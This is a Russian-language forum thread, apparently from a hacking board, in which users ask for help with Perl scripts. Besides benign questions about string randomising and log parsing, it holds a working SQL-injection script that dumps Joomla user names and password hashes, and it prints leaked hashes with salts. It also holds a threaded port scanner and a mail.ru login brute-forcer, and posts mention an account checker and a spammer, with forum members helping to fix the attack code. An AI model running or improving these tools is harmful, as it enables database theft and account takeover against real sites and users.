[Perl] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Getty

    Getty Banned

    Joined:
    17 Jun 2010
    Messages:
    104
    Likes Received:
    1
    Reputations:
    0
    как прочитать допустим все символы со страницы

    читает хэш:
    if ($answer =~/([0-9a-fA-F]{32})/)
    print "\n[+] Admin Hash : $1\n\n";

    а мне нужно чтоб все символы с веб-страницы?? посоветуйте пожалуйста=)
     
  2. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    закомментируйте пару if/print. Видимо, в переменной $answer контент страницы и будет
     
  3. maxya

    maxya New Member

    Joined:
    15 Feb 2010
    Messages:
    55
    Likes Received:
    4
    Reputations:
    -1
    Подскажите пожалуйста, как реализовать простой рендомизатор?
    т.е. в файле имеем что-то типо "Привет, я {сообщение|письмо|пост}" Нужно прочесть файл и получить "Привет, я сообщение" "Привет, я письмо" и т.д. :)
    Интересует теория рендомизации строк. Как лучше распарсить и получить одно из {1|2|3} ?


    UPD
    Получается что-то вроде этого:
    Code:
    sub random_text{
            my $text = $_[0];
            $text =~ /\{(.+?)\}/igm;
            my @rand_string = split(/\|/, $1);
            #print "Random: ".$rand_string[rand scalar  @rand_string]."\n";
            return $rand_string[rand scalar @rand_string];
            
    }
    
    Как теперь сделать replace того, что получилось в строке, с учетом того, что может быть несколько рендомов в одной строке. Как их не перепутать? :)


    UPD2:
    Получилось вот так:
    Code:
    sub random_text{
            my $text = $_[0];
            while($text =~ /\{(.+?)\}/){
            my @rand_string = split(/\|/, $1);
            my $repl_string =  $rand_string[rand scalar @rand_string];
            $text =~ s/\{(.+?)\}/$repl_string/;
            }
            return $text;
    }
    
    Насколько "хороший" код? Может есть реализации получше? :)
     
    #1563 maxya, 10 Jul 2010
    Last edited: 10 Jul 2010
  4. Catbert

    Catbert Banned

    Joined:
    29 Jun 2010
    Messages:
    80
    Likes Received:
    27
    Reputations:
    10
    В чем практический смысл модификаторов i, m или у тебя скобки в разном регистре встречаются?
     
  5. maxya

    maxya New Member

    Joined:
    15 Feb 2010
    Messages:
    55
    Likes Received:
    4
    Reputations:
    -1
    ммм, да, действительно, торможу :) Исправил.
     
  6. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    Имеем:
    кучу файлов вида *.log

    Надо:

    Парсить из файлов даты которых не старше чем 1 день от текущей (Н-р: сегодня 13.07.2010 то парсим с 12 по 13 число)

    парсим на предмет нахождения строки и потом уже из нее выдираем ип.

    Если у нас попадаются одинаковые выбранные ип более 3 раз то делаем определенное действие.

    смог реализовать только с парсингом 1 файла:
    PHP:
    open(InFile"test.log") || die;
    while (
    $line = <InFile>)
    {
            if(
    $line  =~ m/Bad Rcon/i){
            @
    nonlap $line  =~ /(\d+\.\d+\.\d+\.\d+)\:/;

    foreach 
    $element (@nonlap)
    {
      
    $hash{$element}++;
    }

    foreach 
    $element (sort keys(%hash))
    {
            if(
    $hash{$element}==3){
                    print 
    "Ban IP: $element\n";
            }
    }
    }
    }
    close InFile );
    Как реализовать задуманное?
     
  7. Catbert

    Catbert Banned

    Joined:
    29 Jun 2010
    Messages:
    80
    Likes Received:
    27
    Reputations:
    10
    Примерно так, если я правильно тебя понял:
    Code:
    use warnings;
    
    my $dir = './dir/';
    my $ext = '.log';
    
    my @files = grep(-M $_ <= 1, glob "$dir*$ext");
    
    my %to_ban = ();
    
    for my $log_file(@files)
    {
    	open FILE, '<', $log_file or die $!;
    	while(<FILE>)
    	{
    		$to_ban{$1}++ if /Bad Rcon/i && /(\d+\.\d+\.\d+\.\d+):/;
    	}
    	close FILE;
    }
    
    my @to_ban = grep {$to_ban{$_} >= 3} keys %to_ban;
    
    функция_блокировки($_) for @to_ban;
    
     
    3 people like this.
  8. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    да все именно так!!! огромное спасибо!!!
     
  9. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    136
    Likes Received:
    36
    Reputations:
    3
    Никто не знает, как на перле можно работать с HTTPS через Socks5?
     
  10. slashd

    slashd Elder - Старейшина

    Joined:
    3 Sep 2008
    Messages:
    56
    Likes Received:
    15
    Reputations:
    6
    Вроде вот модуль, который тебе нужен, сразу с примером исп-ия:
    Code:
    http://search.cpan.org/~gosha/LWP-Protocol-https-SocksChain-1.8/SocksChain.pm
    А чтобы заюзать просто HTTPS без соксов надо установить модуль IO::Socket::SSL и всё
     
    1 person likes this.
  11. Originalba

    Originalba Banned

    Joined:
    26 Nov 2008
    Messages:
    58
    Likes Received:
    5
    Reputations:
    1
    Кто готов поправить скрипт?) Стучите...
     
    #1571 Originalba, 23 Jul 2010
    Last edited: 25 Jul 2010
  12. maxya

    maxya New Member

    Joined:
    15 Feb 2010
    Messages:
    55
    Likes Received:
    4
    Reputations:
    -1
    Дык это же не спамер групп, а чекер акков :confused:
    Может поэтому не шлет? :D
     
  13. Originalba

    Originalba Banned

    Joined:
    26 Nov 2008
    Messages:
    58
    Likes Received:
    5
    Reputations:
    1
    извиняюсь, поправил...
    поидее надо авторизацию поправить + хеши поменялись ... + по мелочи)

    Траффа в группах немеренно =)) $$$

    Мб легче новый написать чем этот исправить?
     
  14. SHok-SQL

    SHok-SQL New Member

    Joined:
    28 Feb 2010
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Люди помогите с регулярками

    вобщем имеем скрипт такого вида

    Code:
    #!/usr/bin/perl
    
    use LWP::Simple;
    
    $domian = shift;
    
    $lim=0;
    
    $url = "http://www.$domian/index.php?view=videos&type=member&user_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat%280x7B6C616D65727D,username,0x7c7c7c,password,0x7B6C616D65727D%29,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube";
    $content = get("$url");
    if($content =~ m/{lamer}(.*){lamer}/g)
    {
    open(F,'>>{| Joomla |} {| index.php [2] |}.txt');
    print F "$1\n";
    close(F);
    print "$1\n";
    $lim++;
    open(F,'>lim.txt');
    print F "$lim";
    close(F);
    }
    else
    {
    print 'Total dumped ' . $lim . "\n";
    exit;
    }
    но вся проблемма в том што когда получам HTML'ку то срипт там видит строку

    Code:
    		Added: {lamer}admin|||de36d46acab28f07032aaf68189e463b:RVNitTgV1DEGUKmPPu3im4svD4Ev11fm{lamer},{lamer}Mariana|||da521b9c502b4fd6d6d9767990520399:uHtxRv0reZaz7Kb0IALNJYks1cTWTrTs{lamer},{lamer}euge|||c90156bbfc1d8658de882dd578d68bd1:1hg9BYjr3yQ6QPH1R6wHVb2BmJyyiwss{lamer},{lamer}editora|||5893186c79beafc98030333eae4e03d7:Bbm8OzC92XpXhoDNJp1e6GeKw2ssu8Ee{lamer}		
    то парсит всё сразу в виде
    Code:
    admin|||de36d46acab28f07032aaf68189e463b:RVNitTgV1DEGUKmPPu3im4svD4Ev11fm{lamer},{lamer}Mariana|||da521b9c502b4fd6d6d9767990520399:uHtxRv0reZaz7Kb0IALNJYks1cTWTrTs{lamer},{lamer}euge|||c90156bbfc1d8658de882dd578d68bd1:1hg9BYjr3yQ6QPH1R6wHVb2BmJyyiwss{lamer},{lamer}editora|||5893186c79beafc98030333eae4e03d7:Bbm8OzC92XpXhoDNJp1e6GeKw2ssu8Ee

    Каза заставить его парсить всё по очереди штоб результат был такой

    Code:
    admin|||de36d46acab28f07032aaf68189e463b:RVNitTgV1DEGUKmPPu3im4svD4Ev11fm
    Mariana|||da521b9c502b4fd6d6d9767990520399:uHtxRv0reZaz7Kb0IALNJYks1cTWTrTs
    euge|||c90156bbfc1d8658de882dd578d68bd1:1hg9BYjr3yQ6QPH1R6wHVb2BmJyyiwss
    editora|||5893186c79beafc98030333eae4e03d7:Bbm8OzC92XpXhoDNJp1e6GeKw2ssu8Ee
     
  15. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Code:
    while ($str =~ /{lamer}(.*?){lamer}/g) { ... }
    
     
  16. SHok-SQL

    SHok-SQL New Member

    Joined:
    28 Feb 2010
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Люди кто можэт зделайте этот скрипт много поточным (с возможностью регуляцыи количества потоков) ато некак не вкурю как с потоками работать :confused:

    Code:
    #!/usr/bin/perl
    
    
    use IO::Socket;
    
    open(BASE, 'ip.ip'); 
    chomp(@ips = <BASE>);
    close(BASE);
    print "  Please print protocol and press Enter : ";$protocol = <>;chomp($protocol);
    print "\n  Please print port and press Enter : ";$port = <>;chomp($port);
    foreach $x (@ips)
    {
    print("$ip_addr ... \n");
    $socket = IO::Socket::INET->new(Proto => $protocol, PeerPort => $port, PeerAddr => $x);
    if($socket)
    {
    print $x."|".$protocol."|".$port."    <==  IS OPEN\n";
    open  (RES, '>> results.txt');
    print  RES $x."|".$protocol."|".$port."\n";
    close (RES);
    }
    else
    {
    print $x."|".$protocol."|".$port."    <==  IS CLOOSE\n";
    }
    }
    и ещо хотелось бы узнать как можно принять скриптом 2 параметра
    если один можно поймать используя shift то как поймать второй вобще хз
     
    #1576 SHok-SQL, 26 Jul 2010
    Last edited: 26 Jul 2010
  17. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Code:
    #!/usr/bin/perl
    #perl script.pl [кол-во потоков]
    use threads;
    use threads::shared;
    #...
    my @thr, my @base : shared;
    push @base, $_ while(<BASE>);
    #...
    for(1..$ARGV[0]) { push @thr, threads->create(\&check); }
    for(@thr) { $_->join; }
    
    sub check{
        while(@base){
            print shift @base;
            #...
        }
    }
    >> и ещо хотелось бы узнать как можно принять скриптом 2 параметра
    если один можно поймать используя shift то как поймать второй вобще хз

    Code:
    #!/usr/bin/perl
    
    print $ARGV[0].' '.$ARGV[1].' '.$ARGV[2]."\n";
    my $v1 = shift;
    my $v2 = shift;
    my $v3 = shift;
    print $v1.' '.$v2.' '.$v3;
     
    #1577 .Slip, 26 Jul 2010
    Last edited: 26 Jul 2010
  18. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Либо
    Code:
    my ($v1, $v2, $v3) = @ARGV;
    
     
  19. SHok-SQL

    SHok-SQL New Member

    Joined:
    28 Feb 2010
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Люди скажыте почему скрипт не работает :confused: всё вроде правильно написано :confused:

    Code:
    #!/usr/bin/perl
    
    #   <DOMIAN><LOGINLIST><PASLIST><BAD><GOOD>
    
    use LWP::Simple;
    
    
    $domian=$ARGV[0];
    $loginf=$ARGV[1];
    $passf=$ARGV[2];
    $bad=$ARGV[3];
    $good=$ARGV[4];
    
    open(BASE, $loginf); 
    chomp(@login = <BASE>);
    close(BASE);
    
    open(BASE, $passf); 
    chomp(@passl = <BASE>);
    close(BASE);
    
    foreach $login (@login)
         {  
    foreach $paswd (@pass)
         {
    threads->create(\&brut,$login.$paswd)->detach;
    
    sub brut
    {
    $page = get('http://win.mail.ru/cgi-bin/auth?Login='.$login.'&Domain='.$domian.'&Password='.$paswd);
    if($page =~ m/Входящие<\/b><\/a>/g)
    {
         print "GOOD => $login | $paswd | $domian";
         open(F, "$good.txt");
         print F "$login | $paswd | $domian";
         close(F);
    }
    else
    {
         print "BAD => $login | $paswd | $domian";
         open(F, "$bad.txt");
         print F "$login | $paswd | $domian";
         close(F);   
    }
    }
    }
    }
     
  20. SHiNiGaMi

    SHiNiGaMi Banned

    Joined:
    3 Jan 2010
    Messages:
    382
    Likes Received:
    55
    Reputations:
    15
    use threads;
     
Thread Status:
Not open for further replies.